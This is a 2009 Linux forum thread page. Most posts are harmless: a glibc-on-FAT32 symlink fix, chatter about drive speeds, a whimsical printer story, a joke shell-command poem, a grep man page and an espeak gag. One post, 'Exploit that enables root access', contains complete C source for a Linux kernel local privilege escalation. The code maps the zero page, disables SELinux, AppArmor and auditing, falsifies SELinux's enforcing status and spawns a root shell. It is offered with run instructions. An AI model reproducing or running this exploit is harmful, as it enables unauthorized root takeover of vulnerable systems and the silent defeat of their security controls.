Linux Club

Moderated by: Dean Menezes
Linux Tutorials, Resources and Links Page
 


Building linux from scratch: glibc gives linker errors about libstld.so. [SOLUTION]

by (Login ComputerGhost)
R

__open, __close, etc. etc. etc. in libstld.so aren't found linker errors while trying to build glibc.

I searched google for a good ten hours and did not find the solution to my problem, and then I spent about three hours looking through makefiles, source codes, error logs, etc. to try to figure it out. I figured it out. Before I tell you what it is, I'm going to go ahead and say that I know I'm an idiot for spending thirteen hours on a problem when all I had to do was read what the compiler was telling me. I should've had this solved in seconds. However, I am consoled by the fact that there are many other people on google who seem to have this same problem and are having no luck either. I want this solution to be out there (I didn't see the solution on google), and I'm starting here at the QBasic Forum Community Forum's Linux forum. wink.gif

The problem is that I was using a flash drive with a FAT32 file system to compile everything. I was booting from a livecd with ext3, installing to a harddrive with ext3, and doing my compiling on a flash drive with FAT32. When making glibc, symbolic links are created to the libraries (libstld.so, etc.) -- and FAT32 does not support symbolic links.

The solution is to not use FAT32 for what you're compiling on. I made another partition on my harddrive and formatted it ext3. I copied all the source codes from my flash drive to there and just started over.

Note: I have noticed that another problem has been solved by this. When compiling gcc, I had an error with the dependency PATCHES. It went away after this as well.

In short: If you are having a problem compiling glibc, check a little ways above where the errors are displayed. It should give an error like "ln: creating symbolic link ...... operation not permitted." If you see that, then this post is about your problem and the solution. If you don't see that, then try google. There are solutions out there for other problems that can come up while compiling glibc.


I hope someone who needs this finds it, and it saves them a long time looking for the solution. happy.gif



    
This message has been edited by ComputerGhost on Nov 1, 2009 11:38 AM

Posted on Nov 1, 2009, 11:38 AM

Respond to this message   

Return to Index


You got other stuff to compile before glibc? Surprising!

by rpgfan3233 (no login)

I'm surprised that anything compiled in spite of the fact that so many packages used on GNU/Linux use symbolic links (symlinks). It makes me wonder why the issue wasn't caught earlier. °~°

Thanks for the information. I'm sure it'll help people, though I still question the reason for trying to build on FAT32 in the first place. :P

Posted on Nov 1, 2009, 5:05 PM

Respond to this message   

Return to Index


* Just use Debian -- no need to compile anything ;-)

by qbguy (no login)

Posted on Nov 1, 2009, 7:51 PM

Respond to this message   

Return to Index


* Not always true...but Debian does rock. Also, it's fun to build things yourself. ^_^

by rpgfan3233 (no login)

Posted on Nov 1, 2009, 8:58 PM

Respond to this message   

Return to Index


You can still use FAT32, just mount it as umsdos. (*URL)

by (Login Mikrondel)
R

http://en.wikipedia.org/w/index.php?title=FAT_filesystem_and_Linux&action=edit

It's slower than using ext2 etc.

As, I would imagine, is using a flash disk rather than a hard drive for compilation...

Posted on Nov 3, 2009, 3:23 PM

Respond to this message   

Return to Index


Except

by qbguy (no login)

"UMSDOS was removed from the Linux 2.6.11 kernel for lack of maintenance."

so it is unlikely to be in the kernel you're using.

Also, wouldn't the flash drive be faster because it is solid state?

Posted on Nov 3, 2009, 3:34 PM

Respond to this message   

Return to Index


LOL @ "lack of maintenance. Electricity is fast without being "solid state".

by Clippy (no login)

I suggest you stick to what you actually can manipulate and comprehend!

Posted on Nov 3, 2009, 11:18 PM

Respond to this message   

Return to Index


Seems like I am out of date. Any alternatives to UMSDOS?

by (Login Mikrondel)
R

re flash drives:

If they use USB 2.0, they'll be running at no more than 480 Mbit/s. On the other hand, SATA 6 Gbit/s is now available.

Of course, flash drives have no seek overheads (in fact, high-end solid-state storage has *negative* seek time, since data that's far from other data is likely to be on another chip and can therefore be accessed concurrently) but with the typical fragmentation of FAT32, you still need to issue lots of requests to collect the data you need.

While I'm not very confident I would lean towards the hard disk being faster than a USB flash drive. An internal solid-state drive is another matter entirely, those things are astounding.

Posted on Nov 4, 2009, 1:18 AM

Respond to this message   

Return to Index


SOLID STATE stands for no moving parts

by Clippy (no login)

Of course solid state CAN be faster! Limitations are usually placed to synchronize the electron speed as it is traveling close to the speed of light otherwise. Chips cannot handle those speeds without burning up. Every year they get faster though.

Unfortunately we cannot see changes in 30 frames per second...let alone the speed of light... so TV was born!

Posted on Nov 4, 2009, 3:36 AM

Respond to this message   

Return to Index


The story of gnome-cups-manager

by Anonymous (no login)

gnome-cups-manager
------------------

Once upon a time there was a printer who lived in the woods. He was a
lonely printer, because nobody knew how to configure him. He hoped
and hoped for someone to play with.

One day, the wind passed by the printer's cottage. "Whoosh," said the
wind. The printer became excited. Maybe the wind would be his
friend!

"Will you be my friend?" the printer asked.

"Whoosh," said the wind.

"What does that mean?" asked the printer.

"Whoosh," said the wind, and with that it was gone.

The printer was confused. He spent the rest of the day thinking and
jamming paper (for that is what little printers do when they are
confused).

The next day a storm came. The rain came pouring down, darkening the
morning sky and destroying the printer's garden. The little printer
was upset. "Why are you being so mean to me?" he asked.

"Pitter Patter, Pitter Patter," said the rain.

"Will you be my friend?" the printer asked shyly.

"Pitter Patter, Pitter Patter," said the rain, and then it left and
the sun came out.

The printer was sad. He spent the rest of the day inside, sobbing and
blinking lights cryptically (for that is what little printers do when
they are sad).

Then one day, a little girl stumbled into the printer's clearing in
the woods. The printer looked at this curious sight. He didn't know
what to think.

The little girl looked up at him. "Will you be my friend?" she asked.

"Yes," said the printer.

"What is your name?" asked the little girl.

"HP 4100TN", replied the printer.

"My name is gnome-cups-manager" said the little girl.

The printer was happy. He spent the rest of the day playing games and
printing documents, for that is what little printers do when they are
happy.

Posted on Oct 19, 2009, 9:58 AM

Respond to this message   

Return to Index


All your base are belong to us

by Anonymous (no login)

init war

dmesg | tail

cat bomb > setup

nc -l 1337 > signal

screen -r main

stat gentlemen

chown -R us base

traceroute destruction

cat $HISTFILE | tail -1

echo 0 > /proc/chance/to/survive

wget http://ftp.wayne.edu/pub/gnu/time/time-1.7.tar.gz
tar -xvf time-1.7.tar.gz
cd time-1.7 && ./configure && make

su

for zig in (*zig*); echo takeoff > zig

for great_justice; mv zig .

Posted on Sep 29, 2009, 2:55 PM

Respond to this message   

Return to Index


* I never understood that quote either, but the image looked good

by (Login burger2227)

Posted on Oct 7, 2009, 3:10 AM

Respond to this message   

Return to Index


Man page for GNU grep (for clippy)

by Anon (no login)

GREP(1) 							       GREP(1)


NAME


grep, egrep, fgrep, rgrep - print lines matching a pattern

SYNOPSIS


grep [options] PATTERN [FILE...]
grep [options] [-e PATTERN | -f FILE] [FILE...]

DESCRIPTION


grep searches the named input FILEs (or standard input if no files are
named, or the file name - is given) for lines containing a match to the
given PATTERN. By default, grep prints the matching lines.

In addition, three variant programs egrep, fgrep and rgrep are avail-
able. egrep is the same as grep -E. fgrep is the same as grep -F.
rgrep is the same as grep -r.

OPTIONS


-A NUM, --after-context=NUM
Print NUM lines of trailing context after matching lines.
Places a line containing -- between contiguous groups of
matches.

-a, --text
Process a binary file as if it were text; this is equivalent to
the --binary-files=text option.

-B NUM, --before-context=NUM
Print NUM lines of leading context before matching lines.
Places a line containing -- between contiguous groups of
matches.

-b, --byte-offset
Print the byte offset within the input file before each line of
output.

--binary-files=TYPE
If the first few bytes of a file indicate that the file contains
binary data, assume that the file is of type TYPE. By default,
TYPE is binary, and grep normally outputs either a one-line mes-
sage saying that a binary file matches, or no message if there
is no match. If TYPE is without-match, grep assumes that a
binary file does not match; this is equivalent to the -I option.
If TYPE is text, grep processes a binary file as if it were
text; this is equivalent to the -a option. Warning: grep
--binary-files=text might output binary garbage, which can have
nasty side effects if the output is a terminal and if the termi-
nal driver interprets some of it as commands.

-C NUM, --context=NUM
Print NUM lines of output context. Places a line containing --
between contiguous groups of matches.

-c, --count
Suppress normal output; instead print a count of matching lines
for each input file. With the -v, --invert-match option (see
below), count non-matching lines.

--colour[=WHEN], --color[=WHEN]
Surround the matching string with the marker find in GREP_COLOR
environment variable. WHEN may be `never', `always', or `auto'

-D ACTION, --devices=ACTION
If an input file is a device, FIFO or socket, use ACTION to pro-
cess it. By default, ACTION is read, which means that devices
are read just as if they were ordinary files. If ACTION is
skip, devices are silently skipped.

-d ACTION, --directories=ACTION
If an input file is a directory, use ACTION to process it. By
default, ACTION is read, which means that directories are read
just as if they were ordinary files. If ACTION is skip, direc-
tories are silently skipped. If ACTION is recurse, grep reads
all files under each directory, recursively; this is equivalent
to the -r option.

-E, --extended-regexp
Interpret PATTERN as an extended regular expression (see below).

-e PATTERN, --regexp=PATTERN
Use PATTERN as the pattern; useful to protect patterns beginning
with -.

-F, --fixed-strings
Interpret PATTERN as a list of fixed strings, separated by new-
lines, any of which is to be matched.

-f FILE, --file=FILE
Obtain patterns from FILE, one per line. The empty file con-
tains zero patterns, and therefore matches nothing.

-G, --basic-regexp
Interpret PATTERN as a basic regular expression (see below).
This is the default.

-H, --with-filename
Print the filename for each match.

-h, --no-filename
Suppress the prefixing of filenames on output when multiple
files are searched.

--help Output a brief help message.

-I Process a binary file as if it did not contain matching data;
this is equivalent to the --binary-files=without-match option.

-i, --ignore-case
Ignore case distinctions in both the PATTERN and the input
files.

-L, --files-without-match
Suppress normal output; instead print the name of each input
file from which no output would normally have been printed. The
scanning will stop on the first match.

-l, --files-with-matches
Suppress normal output; instead print the name of each input
file from which output would normally have been printed. The
scanning will stop on the first match.

--label=LABEL
Displays input actually coming from standard input as input com-
ing from file LABEL. This is especially useful for tools like
zgrep, e.g. gzip -cd foo.gz |grep --label=foo something

--line-buffered
Use line buffering, it can be a performance penalty.

-m NUM, --max-count=NUM
Stop reading a file after NUM matching lines. If the input is
standard input from a regular file, and NUM matching lines are
output, grep ensures that the standard input is positioned to
just after the last matching line before exiting, regardless of
the presence of trailing context lines. This enables a calling
process to resume a search. When grep stops after NUM matching
lines, it outputs any trailing context lines. When the -c or
--count option is also used, grep does not output a count
greater than NUM. When the -v or --invert-match option is also
used, grep stops after outputting NUM non-matching lines.

--mmap If possible, use the mmap(2) system call to read input, instead
of the default read(2) system call. In some situations, --mmap
yields better performance. However, --mmap can cause undefined
behavior (including core dumps) if an input file shrinks while
grep is operating, or if an I/O error occurs.

-n, --line-number
Prefix each line of output with the line number within its input
file.

-o, --only-matching
Show only the part of a matching line that matches PATTERN.

-P, --perl-regexp
Interpret PATTERN as a Perl regular expression.

-q, --quiet, --silent
Quiet; do not write anything to standard output. Exit immedi-
ately with zero status if any match is found, even if an error
was detected. Also see the -s or --no-messages option.

-R, -r, --recursive
Read all files under each directory, recursively; this is equiv-
alent to the -d recurse option.

--include=PATTERN
Recurse in directories only searching file matching PATTERN.

--exclude=PATTERN
Recurse in directories skip file matching PATTERN.

-s, --no-messages
Suppress error messages about nonexistent or unreadable files.
Portability note: unlike GNU grep, traditional grep did not con-
form to POSIX.2, because traditional grep lacked a -q option and
its -s option behaved like GNU grep's -q option. Shell scripts
intended to be portable to traditional grep should avoid both -q
and -s and should redirect output to /dev/null instead.

-U, --binary
Treat the file(s) as binary. By default, under MS-DOS and MS-
Windows, grep guesses the file type by looking at the contents
of the first 32KB read from the file. If grep decides the file
is a text file, it strips the CR characters from the original
file contents (to make regular expressions with ^ and $ work
correctly). Specifying -U overrules this guesswork, causing all
files to be read and passed to the matching mechanism verbatim;
if the file is a text file with CR/LF pairs at the end of each
line, this will cause some regular expressions to fail. This
option has no effect on platforms other than MS-DOS and MS-Win-
dows.

-u, --unix-byte-offsets
Report Unix-style byte offsets. This switch causes grep to
report byte offsets as if the file were Unix-style text file,
i.e. with CR characters stripped off. This will produce results
identical to running grep on a Unix machine. This option has no
effect unless -b option is also used; it has no effect on plat-
forms other than MS-DOS and MS-Windows.

-V, --version
Print the version number of grep to standard error. This ver-
sion number should be included in all bug reports (see below).

-v, --invert-match
Invert the sense of matching, to select non-matching lines.

-w, --word-regexp
Select only those lines containing matches that form whole
words. The test is that the matching substring must either be
at the beginning of the line, or preceded by a non-word con-
stituent character. Similarly, it must be either at the end of
the line or followed by a non-word constituent character. Word-
constituent characters are letters, digits, and the underscore.

-x, --line-regexp
Select only those matches that exactly match the whole line.

-y Obsolete synonym for -i.

-Z, --null
Output a zero byte (the ASCII NUL character) instead of the
character that normally follows a file name. For example, grep
-lZ outputs a zero byte after each file name instead of the
usual newline. This option makes the output unambiguous, even
in the presence of file names containing unusual characters like
newlines. This option can be used with commands like find
-print0, perl -0, sort -z, and xargs -0 to process arbitrary
file names, even those that contain newline characters.

-z, --null-data
Treat the input as a set of lines, each terminated by a zero
byte (the ASCII NUL character) instead of a newline. Like the
-Z or --null option, this option can be used with commands like
sort -z to process arbitrary file names.

REGULAR EXPRESSIONS


A regular expression is a pattern that describes a set of strings.
Regular expressions are constructed analogously to arithmetic expres-
sions, by using various operators to combine smaller expressions.

grep understands three different versions of regular expression syntax:
"basic," "extended," and "perl." In GNU grep, there is no difference
in available functionality using either of the first two syntaxes. In
other implementations, basic regular expressions are less powerful.
The following description applies to extended regular expressions; dif-
ferences for basic regular expressions are summarized afterwards. Perl
regular expressions add additional functionality, but the implementa-
tion used here is undocumented and is not compatible with other grep
implementations.

The fundamental building blocks are the regular expressions that match
a single character. Most characters, including all letters and digits,
are regular expressions that match themselves. Any metacharacter with
special meaning may be quoted by preceding it with a backslash.

A bracket expression is a list of characters enclosed by [ and ]. It
matches any single character in that list; if the first character of
the list is the caret ^ then it matches any character not in the list.
For example, the regular expression [0123456789] matches any single
digit.

Within a bracket expression, a range expression consists of two charac-
ters separated by a hyphen. It matches any single character that sorts
between the two characters, inclusive, using the locale's collating
sequence and character set. For example, in the default C locale,
[a-d] is equivalent to [abcd]. Many locales sort characters in dictio-
nary order, and in these locales [a-d] is typically not equivalent to
[abcd]; it might be equivalent to [aBbCcDd], for example. To obtain
the traditional interpretation of bracket expressions, you can use the
C locale by setting the LC_ALL environment variable to the value C.

Finally, certain named classes of characters are predefined within
bracket expressions, as follows. Their names are self explanatory, and
they are [:alnum:], [:alpha:], [:cntrl:], [:digit:], [:graph:],
[:lower:], [tongue.gifrint:], [tongue.gifunct:], [:space:], [:upper:], and [:xdigit:].
For example, [[:alnum:]] means [0-9A-Za-z], except the latter form
depends upon the C locale and the ASCII character encoding, whereas the
former is independent of locale and character set. (Note that the
brackets in these class names are part of the symbolic names, and must
be included in addition to the brackets delimiting the bracket list.)
Most metacharacters lose their special meaning inside lists. To
include a literal ] place it first in the list. Similarly, to include
a literal ^ place it anywhere but first. Finally, to include a literal
- place it last.

The period . matches any single character. The symbol \w is a synonym
for [[:alnum:]] and \W is a synonym for [^[:alnum]].

The caret ^ and the dollar sign $ are metacharacters that respectively
match the empty string at the beginning and end of a line. The symbols
\< and \> respectively match the empty string at the beginning and end
of a word. The symbol \b matches the empty string at the edge of a
word, and \B matches the empty string provided it's not at the edge of
a word.

A regular expression may be followed by one of several repetition oper-
ators:
? The preceding item is optional and matched at most once.
* The preceding item will be matched zero or more times.
+ The preceding item will be matched one or more times.
{n} The preceding item is matched exactly n times.
{n,} The preceding item is matched n or more times.
{n,m} The preceding item is matched at least n times, but not more
than m times.

Two regular expressions may be concatenated; the resulting regular
expression matches any string formed by concatenating two substrings
that respectively match the concatenated subexpressions.

Two regular expressions may be joined by the infix operator |; the
resulting regular expression matches any string matching either subex-
pression.

Repetition takes precedence over concatenation, which in turn takes
precedence over alternation. A whole subexpression may be enclosed in
parentheses to override these precedence rules.

The backreference \n, where n is a single digit, matches the substring
previously matched by the nth parenthesized subexpression of the regu-
lar expression.

In basic regular expressions the metacharacters ?, +, {, |, (, and )
lose their special meaning; instead use the backslashed versions \?,
\+, \{, \|, \(, and \).

Traditional egrep did not support the { metacharacter, and some egrep
implementations support \{ instead, so portable scripts should avoid {
in egrep patterns and should use [{] to match a literal {.

GNU egrep attempts to support traditional usage by assuming that { is
not special if it would be the start of an invalid interval specifica-
tion. For example, the shell command egrep '{1' searches for the two-
character string {1 instead of reporting a syntax error in the regular
expression. POSIX.2 allows this behavior as an extension, but portable
scripts should avoid it.

ENVIRONMENT VARIABLES


grep's behavior is affected by the following environment variables.

A locale LC_foo is specified by examining the three environment vari-
ables LC_ALL, LC_foo, LANG, in that order. The first of these vari-
ables that is set specifies the locale. For example, if LC_ALL is not
set, but LC_MESSAGES is set to pt_BR, then Brazilian Portuguese is used
for the LC_MESSAGES locale. The C locale is used if none of these
environment variables are set, or if the locale catalog is not
installed, or if grep was not compiled with national language support
(NLS).

GREP_OPTIONS
This variable specifies default options to be placed in front of
any explicit options. For example, if GREP_OPTIONS is
'--binary-files=without-match --directories=skip', grep behaves
as if the two options --binary-files=without-match and --direc-
tories=skip had been specified before any explicit options.
Option specifications are separated by whitespace. A backslash
escapes the next character, so it can be used to specify an
option containing whitespace or a backslash.

GREP_COLOR
Specifies the marker for highlighting.

LC_ALL, LC_COLLATE, LANG
These variables specify the LC_COLLATE locale, which determines
the collating sequence used to interpret range expressions like
[a-z].

LC_ALL, LC_CTYPE, LANG
These variables specify the LC_CTYPE locale, which determines
the type of characters, e.g., which characters are whitespace.

LC_ALL, LC_MESSAGES, LANG
These variables specify the LC_MESSAGES locale, which determines
the language that grep uses for messages. The default C locale
uses American English messages.

POSIXLY_CORRECT
If set, grep behaves as POSIX.2 requires; otherwise, grep
behaves more like other GNU programs. POSIX.2 requires that
options that follow file names must be treated as file names; by
default, such options are permuted to the front of the operand
list and are treated as options. Also, POSIX.2 requires that
unrecognized options be diagnosed as "illegal", but since they
are not really against the law the default is to diagnose them
as "invalid". POSIXLY_CORRECT also disables _N_GNU_nonop-
tion_argv_flags_, described below.

_N_GNU_nonoption_argv_flags_
(Here N is grep's numeric process ID.) If the ith character of
this environment variable's value is 1, do not consider the ith
operand of grep to be an option, even if it appears to be one.
A shell can put this variable in the environment for each com-
mand it runs, specifying which operands are the results of file
name wildcard expansion and therefore should not be treated as
options. This behavior is available only with the GNU C
library, and only when POSIXLY_CORRECT is not set.

DIAGNOSTICS


Normally, exit status is 0 if selected lines are found and 1 otherwise.
But the exit status is 2 if an error occurred, unless the -q or --quiet
or --silent option is used and a selected line is found.

BUGS


Email bug reports to bug-gnu-utils@gnu.org. Be sure to include the
word "grep" somewhere in the "Subject:" field.

Large repetition counts in the {n,m} construct may cause grep to use
lots of memory. In addition, certain other obscure regular expressions
require exponential time and space, and may cause grep to run out of
memory.

Backreferences are very slow, and may require exponential time.

GNU Project 2002/01/22 GREP(1)

Posted on Sep 20, 2009, 4:10 PM

Respond to this message   

Return to Index


* I don't read your stuff anymore! LOL

by (Login burger2227)

Posted on Sep 21, 2009, 6:35 PM

Respond to this message   

Return to Index


* That's fine, I don't read your stuff either.

by Anon (no login)

Posted on Sep 22, 2009, 4:03 PM

Respond to this message   

Return to Index


Yes you do.

by (Login burger2227)

But I did read your post and it seemed to make sense too!

Let's try to do more of that!

Posted on Sep 22, 2009, 9:27 PM

Respond to this message   

Return to Index


DEBIAN PACKAGES FOR LINUX KERNELS

by BILLY MAYS!!!! (no login)

http://kernel.ubuntu.com/~kernel-ppa/mainline/

LIKE HAVING THE LATEST AND GREATEST LINUX KERNELS BUT HATE COMPILING THEM YOURSELF! WITH UBUNTU KERNEL PERSONAL PACKAGE ARCHIVE YOU CAN HAVE PREBUILT PACKAGE OF LATEST KERNEL!!!!!!

Posted on Sep 10, 2009, 6:16 PM

Respond to this message   

Return to Index


Exploit that enables root access.

by Anon (no login)

To run exploit:
* Kernel must be version 2.6.30 or lower
* mmap_min_addr must be set to zero (if you want to test it, do "echo 0 | sudo tee /proc/sys/vm/mmap_min_addr")
This can be bypassed
* Must have one or more of the vulnerable protocols enabled in kernel config. (This is probably true if they are using the default distro kernel and not true if they compiled the kernel themselves)

Code for exploit:

#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/personality.h>
#include <unistd.h>

#define DOMAINS_STOP -1
#define VIDEO_SIZE 4171600
#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif
#ifndef PF_IUCV
#define PF_IUCV 32
#endif
#ifndef PX_PROTO_OL2TP
#define PX_PROTO_OL2TP 1
#endif

const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
{PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
{PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
{PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
{PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
{PF_PPPOX, SOCK_DGRAM, 0 },
{PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
{DOMAINS_STOP, 0, 0 }
};

int called_from_main = 0;
int got_ring0 = 0;
int got_root = 0;
int eightk_stack = 0;
int twofourstyle = 0;


static inline unsigned long get_current_4k(void)
{
unsigned long current = 0;
#ifndef __x86_64__
asm volatile (
" movl %%esp, %0;"
: "=r" (current)
);
#endif
current = *(unsigned long *)(current & 0xfffff000);
if (current < 0xc0000000 || current > 0xfffff000)
return 0;

return current;
}

static inline unsigned long get_current_8k(void)
{
unsigned long current = 0;

#ifndef __x86_64__
asm volatile (
" movl %%esp, %0;"
: "=r" (current)
);
#endif
current &= 0xffffe000;
eightk_stack = 1;
if ((*(unsigned long *)current < 0xc0000000) || (*(unsigned long *)current > 0xfffff000)) {
twofourstyle = 1;
return current;
}
return *(unsigned long *)current;
}

static inline unsigned long get_current_x64(void)
{
unsigned long current = 0;
#ifdef __x86_64__
asm volatile (
"movq %%gs:(0), %0"
: "=r" (current)
);
#endif
return current;
}

static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
return 0;
}
}

ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}

fclose(f);
return 0;
}

int *audit_enabled;

int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_enforce;

int what_we_do;

unsigned int our_uid;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static void give_it_to_me_any_way_you_can(void)
{
if (commit_creds && prepare_kernel_cred) {
commit_creds(prepare_kernel_cred(0));
got_root = 1;
} else {
unsigned int *current;
unsigned long orig_current;
unsigned long orig_current_4k = 0;

if (sizeof(unsigned long) != sizeof(unsigned int))
orig_current = get_current_x64();
else {
orig_current = orig_current_4k = get_current_4k();
if (orig_current == 0)
orig_current = get_current_8k();
}

repeat:
current = (unsigned int *)orig_current;
while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
(current[0] != our_uid || current[1] != our_uid ||
current[2] != our_uid || current[3] != our_uid))
current++;

if ((unsigned long)current >= (orig_current + 0x1000 - 17 )) {
if (orig_current == orig_current_4k) {
orig_current = get_current_8k();
goto repeat;
}
return;
}
got_root = 1;
memset(current, 0, sizeof(unsigned int) * 8);
}

return;
}

static int __attribute__((regparm(3))) own_the_kernel(unsigned long a, unsigned long b, unsigned long c, unsigned long d, unsigned long e)
{
got_ring0 = 1;

if (audit_enabled)
*audit_enabled = 0;

// disable apparmor
if (apparmor_enabled && *apparmor_enabled) {
what_we_do = 1;
*apparmor_enabled = 0;
if (apparmor_audit)
*apparmor_audit = 0;
if (apparmor_logsyscall)
*apparmor_logsyscall = 0;
if (apparmor_complain)
*apparmor_complain = 0;
}

// disable SELinux
if (selinux_enforcing && *selinux_enforcing) {
what_we_do = 2;
*selinux_enforcing = 0;
}

if (!selinux_enabled || selinux_enabled && *selinux_enabled == 0) {
// trash LSM
if (default_security_ops && security_ops) {
if (*security_ops != default_security_ops)
what_we_do = 3;
*security_ops = default_security_ops;
}
}

/* make the idiots think selinux is enforcing */
if (sel_read_enforce) {
unsigned char *p;
unsigned long _cr0;

asm volatile (
"mov %%cr0, %0"
: "=r" (_cr0)
);
_cr0 &= ~0x10000;
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
if (sizeof(unsigned int) != sizeof(unsigned long)) {
/* 64bit version, look for the mov ecx, [rip+off]
and replace with mov ecx, 1
*/
for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
if (p[0] == 0x8b && p[1] == 0x0d) {
p[0] = '\xb9';
p[5] = '\x90';
*(unsigned int *)&p[1] = 1;
}
}
} else {
/* 32bit, replace push [selinux_enforcing] with push 1 */
for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
if (p[0] == 0xff && p[1] == 0x35) {
// while we're at it, disable
// SELinux without having a
// symbol for selinux_enforcing ;)
if (!selinux_enforcing) {
sel_enforce_ptr = *(unsigned int **)&p[2];
*sel_enforce_ptr = 0;
what_we_do = 2;
}
p[0] = '\x68';
p[5] = '\x90';
*(unsigned int *)&p[1] = 1;
}
}
}
_cr0 |= 0x10000;
asm volatile (
"mov %0, %%cr0"
:
: "r" (_cr0)
);
}

// push it real good
give_it_to_me_any_way_you_can();

return -1;
}

int pa__init(void *m)
{
char *mem = NULL;
int d;
int ret;

our_uid = getuid();

if ((personality(0xffffffff)) != PER_SVR4) {
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem != NULL) {
/* for old kernels with SELinux that don't allow RWX anonymous mappings
luckily they don't have NX support either ;) */
mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem != NULL) {
fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
return 1;
}
}
} else {
ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
if (ret == -1) {
fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
return 1;
}
}

fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
security_ops = (unsigned long *)get_kernel_sym("security_ops");
default_security_ops = get_kernel_sym("default_security_ops");
sel_read_enforce = get_kernel_sym("sel_read_enforce");
audit_enabled = (int *)get_kernel_sym("audit_enabled");
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

mem[0] = '\xff';
mem[1] = '\x25';
*(unsigned int *)&mem[2] = (sizeof(unsigned long) != sizeof(unsigned int)) ? 0 : 6;
*(unsigned long *)&mem[6] = (unsigned long)&own_the_kernel;


/* trigger it */
{
char template[] = "/tmp/sendfile.XXXXXX";
int in, out;

// Setup source descriptor
if ((in = mkstemp(template)) < 0) {
fprintf(stdout, "failed to open input descriptor, %m\n");
return 1;
}

unlink(template);

// Find a vulnerable domain
d = 0;
repeat_it:
for (; domains[d][0] != DOMAINS_STOP; d++) {
if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
break;
}

if (out < 0) {
fprintf(stdout, "unable to find a vulnerable domain, sorry\n");
return 1;
}

// Truncate input file to some large value
ftruncate(in, getpagesize());

// sendfile() to trigger the bug.
sendfile(out, in, NULL, getpagesize());
}

if (got_ring0) {
fprintf(stdout, " [+] got ring0!\n");
} else {
d++;
goto repeat_it;
}

fprintf(stdout, " [+] detected %s %dk stacks\n",
twofourstyle ? "2.4 style" : "2.6 style",
eightk_stack ? 8 : 4);

{
char *msg;
switch (what_we_do) {
case 1:
msg = "AppArmor";
break;
case 2:
msg = "SELinux";
break;
case 3:
msg = "LSM";
break;
default:
msg = "nothing, what an insecure machine!";
}
fprintf(stdout, " [+] Disabled security of : %s\n", msg);
}
if (got_root == 1)
fprintf(stdout, " [+] Got root!\n");
else {
fprintf(stdout, " [+] Failed to get root :( Something's wrong. Maybe the kernel isn't vulnerable?\n");
exit(0);
}

execl("/bin/sh", "/bin/sh", "-i", NULL);

return 0;
}

void pa__done(void *m)
{
return;
}

int main(void)
{
called_from_main = 1;
pa__init(NULL);
}

Posted on Aug 15, 2009, 11:47 AM

Respond to this message   

Return to Index


Emulate Steve Ballmer (CEO of microsoft)

by Anon (no login)

yes developers | espeak

Explanation:

yes developers
displays developers over and over.

espeak is text to speech.

Pipe one into the other and the computer says "developers developers developers developers" ....

Reference:
http://video.google.com/videoplay?docid=6304687408656696643
http://manpages.ubuntu.com/manpages/karmic/en/man1/espeak.1.html
http://manpages.ubuntu.com/manpages/karmic/en/man1/yes.1.html

Posted on Aug 4, 2009, 10:02 AM

Respond to this message   

Return to Index


AMD decides that Linux should be called GNU/Linux/AMD

by ,D Central (no login)

Because how are you going to run an OS without a processor.

Posted on Jul 9, 2009, 11:16 AM

Respond to this message   

Return to Index


* Are you considered A MD? Shouldn't that be AN?

by (Login burger2227)

Posted on Jul 9, 2009, 8:05 PM

Respond to this message   

Return to Index


* I sometimes wonder; did Geppetto have this much trouble teaching Pinocchio?

by (Login The-Universe)
